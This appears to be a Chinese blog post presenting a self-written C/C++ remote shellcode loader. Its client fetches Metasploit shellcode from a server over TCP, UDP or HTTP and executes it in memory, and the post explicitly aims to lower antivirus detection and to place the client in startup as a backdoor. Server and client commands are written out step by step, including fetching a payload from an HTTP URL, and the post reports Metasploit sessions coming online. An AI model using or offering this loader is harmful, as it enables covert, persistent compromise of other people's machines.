通过开发一组远程代码执行盒,可以动态实现对ShellCode代码的动态载入,由于ShellCode不存放在本地客户端常量区,所以在一定程度上可以减少被杀概率,客户端只保留之基本的Socket通信功能,当需要时才会加载恶意代码运行。

C/C++ 远程ShellCode执行工具_客户端

此工具分为服务端与客户端,客户端可以将其加入到开机自启动列表,并传入响应的参数即可,目前支持TCP/UDP/HTTP三种协议传输,后期可能会增加ICMP等来实现后门的传输工作。

使用 TCP/UDP 隧道上线

1.首先MFS工具生成ShellCode代码,代码无需压缩,直接保存为一下格式即可。

C/C++ 远程ShellCode执行工具_客户端_02

2.服务端执行命令,指定侦听端口,以及需要传输的shellcode反弹后门路径。


Server.exe RunServer --type tcp --listen 9999 --shellcode d://shellcode.txt


C/C++ 远程ShellCode执行工具_网络安全工具应用_03

当服务器启动后,会默认在本机,侦听9999端口,等待客户端获取数据包。

2.启动我们的MSF控制台,并设置为侦听状态。

C/C++ 远程ShellCode执行工具_客户端_04

3.此时客户端执行,获取命令即可。


Client.exe RunClient --type tcp --address 127.0.0.1 --port 9999


C/C++ 远程ShellCode执行工具_客户端_05

4.回到我们的MSF控制台,就可以看到客户端已经上线了。

服务端与客户端此时状态如下,服务端发送数据后会显示客户端的IP地址来源。

C/C++ 远程ShellCode执行工具_ip地址_06

MSF控制台则直接可以上线。

C/C++ 远程ShellCode执行工具_网络安全工具应用_07


使用 HTTP 隧道上线

HTTP上线稍微复杂一些。

1.首先你需要手动将shellcode压缩为一行,并命名为shellcode.raw文件,压缩方式有多种,你可以使用我开发的shellcode注入器中的format函数完成。

C/C++ 远程ShellCode执行工具_网络安全工具应用_08

2.当放入同级目录后,直接启动HTTP服务。


Server.exe RunServer --type http --listen 9999


C/C++ 远程ShellCode执行工具_网络安全工具应用_09

3.此时我们可以通过浏览器,访问一下看看是否启动成功了。

C/C++ 远程ShellCode执行工具_服务端_10

4.客户端执行,获取命令即可。如下。


Client.exe RunClient --type http --address ​​http://127.0.0.1:9999/shellcode.raw​​ --port 9999


C/C++ 远程ShellCode执行工具_网络安全工具应用_11

5.回到MSF中,可以看到已经成功上线了。

C/C++ 远程ShellCode执行工具_ip地址_12

版权声明:本博客文章与代码均为学习时整理的笔记,文章 [均为原创] 作品,转载请 [添加出处] ,您添加出处是我创作的动力!